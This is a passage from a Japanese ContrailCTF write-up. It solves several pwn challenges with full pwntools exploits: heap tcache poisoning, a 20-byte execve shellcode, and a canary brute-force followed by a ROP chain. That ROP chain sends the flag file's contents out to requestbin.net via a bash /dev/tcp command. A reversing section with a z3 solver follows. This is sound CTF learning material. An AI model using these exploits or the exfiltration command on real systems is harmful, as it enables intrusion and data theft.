_IO_2_1_stdout_ofs = 0x3EC760  # $ readelf -s libc.so.6 | grep _IO_2_1_stdout
execv_ofs = 0xE4FA0  # $ readelf -s libc.so.6 | grep execv
system_ofs = 0x4F440  # $ readelf -s libc.so.6 | grep system

if __name__ == "__main__":
    fight()

    # 1byteずつkickのアドレスを割り出す
    kick_addr_bytes = ""
    for i in range(8):
        poke_ball(0, "A" * (39 + i))
        name = parse_pokemons(pokemons(0))[0][0]
        kick_addr_bytes += name[40 + i] if len(name) > 40 + i else "\x00"
    kick_addr = u64(kick_addr_bytes)

    app_base_addr = kick_addr - kick_ofs
    printf_plt_addr = app_base_addr + printf_plt_ofs

    # printfを呼び出してスタック上のアドレスをleak
    poke_ball(0, "A" * 40 + p64(printf_plt_addr))
    poke_ball(0, "!@!%08lx!@!")
    resp = fight()

    _IO_stdfile_1_lock_addr = int(resp.split("!@!")[1].split("!@!")[0], 16)
    _IO_2_1_stdout_addr = _IO_stdfile_1_lock_addr - 0x1160

    libc_base_addr = _IO_2_1_stdout_addr - _IO_2_1_stdout_ofs
    system_addr = libc_base_addr + system_ofs

    # systemを呼び出してシェル起動
    poke_ball(0, "A" * 40 + p64(system_addr))
    poke_ball(0, "/bin/sh")

    resp = p.recvuntil("4. Pokemons\n>")
    p.sendline("1")

    p.interactive()

カレントディレクトリにflagファイルが置いてあるので読み出してflagを取得。

$ ls
bin
dev
flag
lib
lib32
lib64
pokebattle
$ cat flag
ctrctf{m394_1nd3x_m0nst3r}

[pwn] babyheap (356pts)

問題

You can solve it.

author douro

nc 114.177.250.4 2223

babyheap(ELF 64bit)とlibc.so.6が配布されます。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/babyheap$ checksec babyheap
[*] '/media/sf_VMShare/CTF/ContrailCTF/babyheap/babyheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

解法

名前の通りheap問です。double-freeとuse-after-freeの脆弱性があり、glibc2.7なのでtcache-poisoningも刺さります。また、read_dataに境界外読み取りの脆弱性があり、任意のアドレスからデータを読み出すことができます。

write_dataを4回呼び出すとプログラムが終了するようになっており、限られた4回の中で如何に攻略するかというパズル的な要素がある問題です。

まず、1回目のwrite_dataの後、以下の手順でlibcのベースアドレスを割り出します

  1. mallocしたチャンクをdouble-freeし、tcacheを循環させる
  2. 1. でfreeしたチャンクをread_dataで読み出し(use-after-free)、heapのアドレスを割り出す
  3. 2. のアドレスからバイナリが配置されているアドレスが分かるので、GOTのアドレスも割り出せる。read_dataでGOTからlibc関数のアドレスを読み出しlibcのベースアドレスを割り出す

後は残りの3回でtcache-poisoningを引き起こし、exit内でジャンプするアドレス(_rtld_global+3840)をone-gadget rceのアドレスに書き換えます。実行すると4回目のwrite_data終了後にシェルが起動します。

# -*- encoding: utf-8 -*-
from pwn import *

LOCAL = sys.argv[1] == "local"

if LOCAL:
    # patchelf --set-interpreter ~/libc-database/libs/libc6_2.27-3ubuntu1_amd64/ld-2.27.so --set-rpath $(pwd) ./babyheap
    p = process("./babyheap")
else:
    p = connect("114.177.250.4", 2223)


def write_data(size, data):
    resp = p.recvuntil("\n>")
    p.sendline("1")
    resp += p.recvuntil("size :")
    p.sendline(str(size))
    resp += p.recvuntil("data :")
    p.sendline(data)
    return resp


def read_data(index):
    resp = p.recvuntil("\n>")
    p.sendline("2")
    resp += p.recvuntil("index :")
    p.sendline(str(index))
    resp += p.recvuntil("1. write data")
    return resp


def parse_read_data(resp):
    return resp.split("index :")[1].split("1. write data")[0]


def free_data(index):
    resp = p.recvuntil("\n>")
    p.sendline("3")
    resp += p.recvuntil("index :")
    p.sendline(str(index))
    resp += p.recvuntil("1. write data")
    return resp


free_got_ptr = 0x400560  # __DT_JMPREL
free_got = 0x602018

libc_free_ofs = 0x97950  # $ readelf -s libc.so.6 | grep " free"
libc_one_gadget_ofs = 0x4F322  # $ one_gadget libc.so.6
libc_jump_ofs = 0x619F68  # 0x7ffff7de974c: call   QWORD PTR [rip+0x21480e] -> 0x7ffff7ffdf60 <_rtld_global+3840>


if __name__ == "__main__":
    write_data(8, "DUMMY")  # tcache -> null
    free_data(0)  # tcache -> h0
    free_data(0)  # tcache -> h0 -> h0 -> h0 -> ...

    # tcacheを循環させ、chunkのアドレスをleak
    chunk_addr_bytes = parse_read_data(read_data(0))
    if len(chunk_addr_bytes) < 8:
        chunk_addr_bytes += "\x00\x00\x00\x02\x00\x00\x00\x00"[len(chunk_addr_bytes) :]
    chunk_addr = u64(chunk_addr_bytes) - 0x2020

    # GOTからfreeのアドレスをleak
    free_got_index = (free_got_ptr // 8) - (chunk_addr // 8)
    free_addr_bytes = parse_read_data(read_data(free_got_index))[:8]
    if len(free_addr_bytes) < 8:
        free_addr_bytes += "\x00" * (8 - len(free_addr_bytes))
    free_addr = u64(free_addr_bytes)
    libc_base = free_addr - libc_free_ofs

    one_gadget_addr = libc_base + libc_one_gadget_ofs
    exit_jump_addr = libc_base + libc_jump_ofs

    # exit_jump_addr に one_gadget_addr を書き込み、exit内でone_gadgetを実行させる
    write_data(8, p64(exit_jump_addr))  # tcache -> h0 -> exit_jump_addr
    write_data(8, "DUMMY")  # tcache -> exit_jump_addr
    write_data(8, p64(one_gadget_addr))  # tcache -> null

    p.interactive()

カレントディレクトリにflagファイルが置いてあるので読み出してflagを取得。

$ ls
babyheap
bin
dev
flag
lib
lib32
lib64
$ cat flag
ctrctf{y0u_und3r5t00d_ab0ut_h34p}

今まで本番でheap問が解けたことがなかったのでかなり達成感がありました。

[pwn] EasyShellcode (100pts)

問題

Can you craft a shellcode?

nc 114.177.250.4 2210
author Maru/douro

problem(ELF 64bit)が配布されます。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/EasyShellcode$ checksec problem 
[*] '/media/sf_VMShare/CTF/ContrailCTF/EasyShellcode/problem'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

解法

入力したデータをそのままシェルコードとして実行してくれるバイナリです。ただし、データの大きさが20bytesまでとなっており、どうにかして短くする必要があります。

rax以外のレジスタは全て0が設定されています。これを利用し、movの代わりにleaを使用して値をセットすることで若干短く書くことができます。試行錯誤して何とか20bytesちょうどの長さのシェルコードができました。

0:  48 8b 00                mov    rax,QWORD PTR [rax]
3:  48 8d 78 0d             lea    rdi,[rax+0xd]
7:  48 8d 42 3b             lea    rax,[rdx+0x3b]
b:  0f 05                   syscall
d:  2f 62 69 6e 2f 73 68    "/bin/sh"

実行するとシェルが起動します。

# -*- encoding: utf-8 -*-
from pwn import *

LOCAL = sys.argv[1] == "local"

if LOCAL:
    p = process("./problem")
else:
    p = connect("114.177.250.4", 2210)

shellcode = "\x48\x8B\x00\x48\x8D\x78\x0D\x48\x8D\x42\x3B\x0F\x05/bin/sh"
print("length: %d" % len(shellcode))
p.sendline(shellcode)

p.interactive()

カレントディレクトリにflagがあるので読み出してflag取得。

$ ls
bin
dev
flag
lib
lib32
lib64
problem
$ cat flag
ctrctf{Tw0_3t4g3_s311c0d3}

[pwn] instant_httpserver (304pts)

問題

I've wrote super minimal httpserver.

author douro

http://114.177.250.4:4445

instant_httpserver(ELF 64bit)とlibc.so.6が配布されます。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/instant_httpserver$ checksec instant_httpserver
[*] '/media/sf_VMShare/CTF/ContrailCTF/instant_httpserver/instant_httpserver'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

解法

HTTPサーバとして動作するバイナリです。HTTPリクエストをreadする処理にスタックバッファオーバーフロー脆弱性があります。しかし、スタック保護が有効になっているので単純にオーバーフローさせても制御を奪うことはできません。

このバイナリでは、接続ごとに親プロセスをforkするようになっているため、毎回canaryの値と、ASLR、PIEの配置が同じになります。これを利用して、バッファオーバーフローでcanaryの末尾やリターンアドレスの末尾の値を書き換えつつ、正解の値が見つかるまで線形探索することで1byteずつ値を特定することができます。

以下のスクリプトでcanaryの値とバイナリの配置アドレスを割り出すことができます。

# -*- encoding: utf-8 -*-
from pwn import *
from retrying import retry

LOCAL = sys.argv[1] == "local"

if LOCAL:
    get_p = lambda: connect("127.0.0.1", 4445)
else:
    get_p = lambda: connect("114.177.250.4", 4445)

canary_ofs = 520
canary = ""

call_again_addr_ofs = 0x100DC5
call_again_addr_bytes = p64(call_again_addr_ofs)[:1]


@retry(stop_max_attempt_number=10)
def try_canary(c):
    p = get_p()

    padding = "A" * canary_ofs
    p.send(padding + canary + chr(c))
    resp = p.recvall()

    is_smash_detected = "<br /><br /><hr><I>instant_httpserver" not in resp
    return not is_smash_detected


@retry(stop_max_attempt_number=10)
def try_binary_addr(c):
    p = get_p()

    payload = "A" * canary_ofs
    payload += canary
    payload += "B" * 8
    payload += call_again_addr_bytes + chr(c)
    p.send(payload)
    resp = p.recvuntil("<html>Your Req Length is 520")

    p.sendline("DUMMY")
    resp += p.recvall()

    cnt = resp.count("<html>Your Req Length is")
    if cnt == 1:
        return False
    elif cnt == 2:
        return True
    else:
        raise


if __name__ == "__main__":
    if canary == "":
        # canaryを1byteずつ特定
        for i in range(8):
            for c in range(256):
                if try_canary(c):
                    print("byte detected!")
                    canary += chr(c)
                    print(repr(canary))
                    break
        print("canary detected!")

    # binaryの配置アドレスを1byteずつ特定
    while len(call_again_addr_bytes) < 8:
        for c in range(256):
            if try_binary_addr(c):
                print("byte detected!")
                call_again_addr_bytes += chr(c)
                print(repr(call_again_addr_bytes))
                break
    binary_base = u64(call_again_addr_bytes) - call_again_addr_ofs
    print("binary base detected!")

    print("canary: %s" % repr(canary))
    print("binary_base: %s" % repr(p64(binary_base)))

実行すると以下のような値がleakされました。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/instant_httpserver$ python canary_detector.py remote

...

canary: '\x00\xab*\xe0\xacGM\xd2'
binary_base: '\x00 \xff\x89\x15V\x00\x00'

後はこの値を用いてROPし、flagを読み出します。ただし、この問題の場合、直接標準入出力と繋がっているわけではないため、ROPでシェルを直接起動すると操作を受け付けなくなってしまいます。そのため、flagを読み出してrequestbinに送信するシェルコマンドをsystem関数に渡し、flagの値はrequestbinで受け取るようにしています。

# -*- encoding: utf-8 -*-
from pwn import *
from retrying import retry
import time

LOCAL = sys.argv[1] == "local"

if LOCAL:
    get_p = lambda: connect("127.0.0.1", 4445)
    canary = 0xBE9E6691055FAC00
    binary_base = 0x555555457000
else:
    get_p = lambda: connect("114.177.250.4", 4445)
    canary = u64("\x00\xab*\xe0\xacGM\xd2")
    binary_base = u64("\x00 \xff\x89\x15V\x00\x00")

canary_ofs = 520

write_got_ofs = 0x301F58
write_plt_ofs = 0x1008C0
read_plt_ofs = 0x100920
pop_rdi_ofs = 0x100E93  # 0xe93 : pop rdi ; ret
pop_rsi_r15_ofs = 0x100E91  # 0xe91 : pop rsi ; pop r15 ; ret

libc_write_ofs = 0x110140  # $ readelf -s libc.so.6 | grep " write"
libc_system_ofs = 0x4F440  # $ readelf -s libc.so.6 | grep " system"
libc_writable_ofs = 0x302000  # cat /proc/xxx/maps
libc_pop_rdx_ofs = 0x1B96  # 0x1b96 : pop rdx ; ret


def leak_libc_base():
    # GOTからwriteのアドレスをleak
    p = get_p()

    payload = "A" * canary_ofs
    payload += p64(canary)
    payload += "B" * 8

    payload += p64(binary_base + pop_rdi_ofs)
    payload += p64(0x4)

    payload += p64(binary_base + pop_rsi_r15_ofs)
    payload += p64(binary_base + write_got_ofs)
    payload += p64(0x0)

    payload += p64(binary_base + write_plt_ofs)

    p.send(payload)

    resp = p.recvall()

    write_addr_bytes = resp.split("<html>Your Req Length is 520")[1][:8]
    write_addr = u64(write_addr_bytes)
    libc_base = write_addr - libc_write_ofs
    return libc_base


def exec_shell_cmd(libc_base, system_cmd):
    system_addr = libc_base + libc_system_ofs

    p = get_p()

    # コマンド文字列を書込み可能な領域に書き込む
    payload = "A" * canary_ofs
    payload += p64(canary)
    payload += "B" * 8

    payload += p64(binary_base + pop_rdi_ofs)
    payload += p64(0x4)

    payload += p64(binary_base + pop_rsi_r15_ofs)
    payload += p64(binary_base + libc_writable_ofs)
    payload += p64(0x0)

    payload += p64(libc_base + libc_pop_rdx_ofs)
    payload += p64(len(system_cmd))

    payload += p64(binary_base + read_plt_ofs)

    # 書き込んだコマンド文字列のアドレスをsystemの引数として渡して実行
    payload += p64(binary_base + pop_rdi_ofs)
    payload += p64(binary_base + libc_writable_ofs)

    payload += p64(binary_base + pop_rsi_r15_ofs)
    payload += p64(0x0)
    payload += p64(0x0)

    payload += p64(libc_base + libc_pop_rdx_ofs)
    payload += p64(0x0)

    payload += p64(libc_base + libc_system_ofs)
    p.send(payload)

    time.sleep(0.2)
    p.send(system_cmd)

    return p.recvall()


if __name__ == "__main__":
    libc_base = leak_libc_base()
    time.sleep(0.5)

    # catでflagを読み取り、その内容をHTTPリクエストとして外部に送信するシェルコマンド
    cmd = "cat flag"
    request = (
        "GET /r/1ike0ej1?'$(" + cmd + " | base64)' HTTP/1.1\n"
        "Host: requestbin.net\n\n"
    )
    bash_cmd = "echo -e '" + request + "' > /dev/tcp/requestbin.net/80"
    system_cmd = 'bash -c "' + bash_cmd + '"\x00'

    exec_shell_cmd(libc_base, system_cmd)

実行すると、requestbinにbase64エンコードされた文字列が送られてきます。

f:id:ommadawn46:20200105233351p:plain

デコードしてflagを取得。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/instant_httpserver$ echo -n 'Y3RyY3Rme2g0cHB5aDRwcHlyNG5kMG0xejN9Cg==' | base64 -d
ctrctf{h4ppyh4ppyr4nd0m1z3}

[rev] MyInstructions (496pts)

問題

I was going to develop a flag validation program, but x86_64 programs are easily analyzed by IDA, Ghidra, and so on. So I defined new instruction set in the program and used it for flag validation. Can you still analyze this program and find the flag?

https://www.dropbox.com/s/47gaurjmvsdrrr2/my_instructions?dl=0

author Ciruela

my_instructions(ELF 64bit)が配布されます。

解法

残念ながら競技時間中に解けなかった問題です。

バイナリはVMとして動作するようになっています。標準入力から受け取った32bytesの文字列を4bytes毎に区切り、それぞれの値をレジスタ(r0〜r7)にセットして初期状態を決定します。

VM上で実行される命令列は固定されており、プログラム終了時のレジスタ(r0〜r7)の値が全て0になっていれば正しい入力値であると判定するものになっています。命令列をx86風に書き出してみると以下のようになります。

000: 11 '\x11\x08h4nd'               mov r8,68346e64
006: 24 '$\x00\x08'                  xor r0,r8
009: 11 '\x11\t_m4d'                 mov r9,5f6d3464
00f: 24 '$\x01\t'                    xor r1,r9
012: 24 '$\t\t'                      xor r9,r9
015: 11 '\x11\n\xcc\xa0\x8c\xde'     mov ra,cca08cde
01b: 30 '0\n'                        flip ra
01d: 24 '$\x02\n'                    xor r2,ra
020: 11 '\x11\x0b\x05D_W'            mov rb,05445f57
026: 24 '$\x0b\x08'                  xor rb,r8
029: 24 '$\x03\x0b'                  xor r3,rb
02c: 11 '\x11\x08cont'               mov r8,636f6e74
032: 10 '\x10\t\x04'                 mov r9,r4
035: 20 ' \x04\x08'                  and r4,r8
038: 22 '"\t\x08'                    or r9,r8
03b: 25 '%\x04CFLT'                  xor r4,43464c54
041: 25 '%\t\x7f\x7fo\x7f'           xor r9,7f7f6f7f
047: 22 '"\x04\t'                    or r4,r9
04a: 11 '\x11\x08rail'               mov r8,7261696c
050: 10 '\x10\t\x05'                 mov r9,r5
053: 30 '0\x05'                      flip r5
055: 20 ' \x05\x08'                  and r5,r8
058: 25 '%\tctf!'                    xor r9,63746621
05e: 22 '"\t\x08'                    or r9,r8
061: 25 '%\x05\x10@I\x08'            xor r5,10404908
067: 25 '%\twe{n'                    xor r9,77657b6e
06d: 22 '"\x05\t'                    or r5,r9
070: 61 'a\x05\x00\x00\x00\x00'      cmp r5,00000000
076: 47 'G\x82\x00\x00\x00'          je 82000000
07b: 11 '\x11\x00\x01\x00\x00\x00'   mov r0,01000000
081: ff '\xff'                       fin
082: 11 '\x11\x08\x1d\xfb\x03\x00'   mov r8,1dfb0300
088: 11 '\x11\t\xd6\x03\x00\x00'     mov r9,d6030000
08e: 52 'R\x06\x08'                  sub r6,r8
091: 53 'S\t\x01\x00\x00\x00'        sub r9,01000000
097: 61 'a\t\x00\x00\x00\x00'        cmp r9,00000000
09d: 49 'I\x8e\x00\x00\x00'          je 8e000000
0a2: 25 '%\x06!"#$'                  xor r6,21222324
0a8: 11 '\x11\x081ov3'               mov r8,316f7633
0ae: 10 '\x10\t\x08'                 mov r9,r8
0b1: 24 '$\n\n'                      xor ra,ra
0b4: 24 '$\x07\x08'                  xor r7,r8
0b7: 50 'P\x08\t'                    add r8,r9
0ba: 60 '`\x08\n'                    cmp r8,ra
0bd: 43 'C\xb4\x00\x00\x00'          je b4000000
0c2: 11 '\x11\x08d\x00\x00\x00'      mov r8,64000000
0c8: 11 '\x11\t\x00\x00\x00\x00'     mov r9,00000000
0ce: 11 '\x11\n\x01\x00\x00\x00'     mov ra,01000000
0d4: 11 '\x11\x0b\x03\x00\x00\x00'   mov rb,03000000
0da: 11 '\x11\x0c\x05\x00\x00\x00'   mov rc,05000000
0e0: 11 '\x11\r\x07\x00\x00\x00'     mov rd,07000000
0e6: 52 'R\x0b\n'                    sub rb,ra
0e9: 52 'R\x0c\n'                    sub rc,ra
0ec: 52 'R\r\n'                      sub rd,ra
0ef: 60 '`\x0b\t'                    cmp rb,r9
0f2: 49 'I\x03\x01\x00\x00'          je 03010000
0f7: 11 '\x11\x0b\x03\x00\x00\x00'   mov rb,03000000
0fd: 51 'Q\x07V4\x12\x00'            add r7,56341200
103: 60 '`\x0c\t'                    cmp rc,r9
106: 49 'I\x17\x01\x00\x00'          je 17010000
10b: 11 '\x11\x0c\x05\x00\x00\x00'   mov rc,05000000
111: 53 'S\x073"\x11\x00'            sub r7,33221100
117: 60 '`\r\t'                      cmp rd,r9
11a: 49 'I+\x01\x00\x00'             je 2b010000
11f: 11 '\x11\r\x07\x00\x00\x00'     mov rd,07000000
125: 53 'S\x07!Ce\x00'               sub r7,21436500
12b: 52 'R\x08\n'                    sub r8,ra
12e: 60 '`\x08\t'                    cmp r8,r9
131: 43 'C\xe6\x00\x00\x00'          je e6000000
136: 25 '%\x07\xb8\xf5\x18x'         xor r7,b8f51878
13c: 24 '$\x00\x01'                  xor r0,r1
13f: 24 '$\x00\x02'                  xor r0,r2
142: 24 '$\x00\x03'                  xor r0,r3
145: 24 '$\x00\x04'                  xor r0,r4
148: 24 '$\x00\x05'                  xor r0,r5
14b: 24 '$\x00\x06'                  xor r0,r6
14e: 24 '$\x00\x07'                  xor r0,r7
151: ff '\xff'                       fin

さらに、これをシミュレートするpythonスクリプトを書くと以下のようになります。

from pwn import *
import sys

r0 = r1 = r2 = r3 = r4 = r5 = r6 = r7 = r8 = r9 = ra = rb = rc = rd = 0

input_data = sys.argv[1]
r0 = u32(input_data[0*0:1*4])
r1 = u32(input_data[1*4:2*4])
r2 = u32(input_data[2*4:3*4])
r3 = u32(input_data[3*4:4*4])
r4 = u32(input_data[4*4:5*4])
r5 = u32(input_data[5*4:6*4])
r6 = u32(input_data[6*4:7*4])
r7 = u32(input_data[7*4:8*4])

r8 = u32("h4nd")
r0 ^= r8

r9 = u32("_m4d")
r1 ^= r9

r9 ^= r9
ra = u32("\xcc\xa0\x8c\xde")
ra ^= 0xFFFFFFFF
r2 ^= ra

rb = u32("\x05D_W")
rb ^= r8
r3 ^= rb

r8 = u32("cont")
r9 = r4
r4 &= r8
r9 |= r8
r4 ^= u32("CFLT")
r9 ^= u32("\x7f\x7fo\x7f")
r4 |= r9

r8 = u32("rail")
r9 = r5
r5 ^= 0xFFFFFFFF
r5 &= r8
r9 ^= u32("ctf!")
r9 |= r8
r5 ^= u32("\x10@I\x08")
r9 ^= u32("we{n")
r5 |= r9

r8 = u32("\x1d\xfb\x03\x00")
r9 = u32("\xd6\x03\x00\x00")
while r9 > 0:
    r6 -= r8
    r9 -= u32("\x01\x00\x00\x00")
r6 ^= u32('!"#$')

r8 = u32("1ov3")
r9 = r8
ra = 0

while r8 < 0x80000000:
    r7 ^= r8
    r8 = (r8 + r9) & 0xFFFFFFFF

r8 = 100
r9 = 0
ra = 1
rb = 3
rc = 5
rd = 7

while r8 != 0:
    rb -= 1
    rc -= 1
    rd -= 1
    if rb == 0:
        rb = 3
        r7 += u32("V4\x12\x00")
    if rc == 0:
        rc = 5
        r7 -= u32('3"\x11\x00')
    if rd == 0:
        rd = 7
        r7 -= u32("!Ce\x00")
    r8 -= 1

r7 ^= u32("\xb8\xf5\x18x")

r0 ^= r1
r0 ^= r2
r0 ^= r3
r0 ^= r4
r0 ^= r5
r0 ^= r6
r0 ^= r7

assert r0 == 0

r0, r1はそのまま値をセットしているだけですが、後半のレジスタになるにつれてロジックが複雑になっていきます。特に難しいのは最後のr7で、値を繰り返し加算していき、整数オーバーフローしたら終了する、といった割とややこしい条件分岐やループなどが出てきます。頑張って読み解くと、減算の値やXORの値が一意に定まることが分かります。それぞれのレジスタの条件を割り出してz3で解きます。

from z3 import *
from pwn import *

s = Solver()
r = [BitVec('r%x' % i, 32) for i in range(8)]

s.add(r[0x0] == u32('h4nd'))
s.add(r[0x1] == u32('_m4d'))
s.add(r[0x2] == (u32('\xcc\xa0\x8c\xde') ^ 0xffffffff))
s.add(r[0x3] == u32('\x05D_W') ^ u32('h4nd'))
s.add([
    r[0x4] & u32('cont') == u32('CFLT'),
    r[0x4] | u32('cont') == u32('\x7f\x7fo\x7f'),
])
s.add([
    (r[0x5] ^ 0xffffffff) & u32('rail') == u32('\x10@I\x08'),
    (r[0x5] ^ u32('ctf!')) | u32('rail') == u32('we{n'),
])
s.add([
    (r[0x6] - (u32('\x1d\xfb\x03\x00') * u32('\xd6\x03\x00\x00'))) == u32('!"#$'),
])
s.add([
    ((r[0x7] ^ 0x559ab153) - 0x48798b4) == u32('\xb8\xf5\x18x')
])

if s.check() == sat:
    m = s.model()
    res = b''
    for reg in r:
        v = m.evaluate(reg)
        try:
            res += p32(v.as_long())
        except Exception as e:
            res += b'????'
    print(res)

実行すると全てのレジスタについて解が一意に求まります。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/MyInstructions$ python solve.py 
h4nd_m4d3_s!mp13_VM_f14g_ch3??:)

後は、my_instructionsを実行して正解の文字列を入力すればflagを取得することができます。

ommadawn46@ctf:~/VMShare/CTF/ContrailCTF/MyInstructions$ ./my_instructions 
Input the inside string of ctrctf{} ->h4nd_m4d3_s!mp13_VM_f14g_ch3??:)
Congratulations! You understood all of my instruction set! The flag is ctrctf{h4nd_m4d3_s!mp13_VM_f14g_ch3??:)}

競技時間中r7の処理を読むのが中々にしんどく、r7だけならブルートフォースできるのでは?と思いブルートフォースを始めてしまったのですが、残念ながら成果はありませんでした。

おわりに

正月休みの暇つぶしくらいの気持ちで始めたのですが、振り返ってみれば正月はContrailCTF以外何もやっていないという感じになっていました。どの問題も良問かつ本格的で大変楽しませていただきました。全体的にエスパー要素がなかったのがとても良かったです。

Contrailの皆さま、ありがとうございました。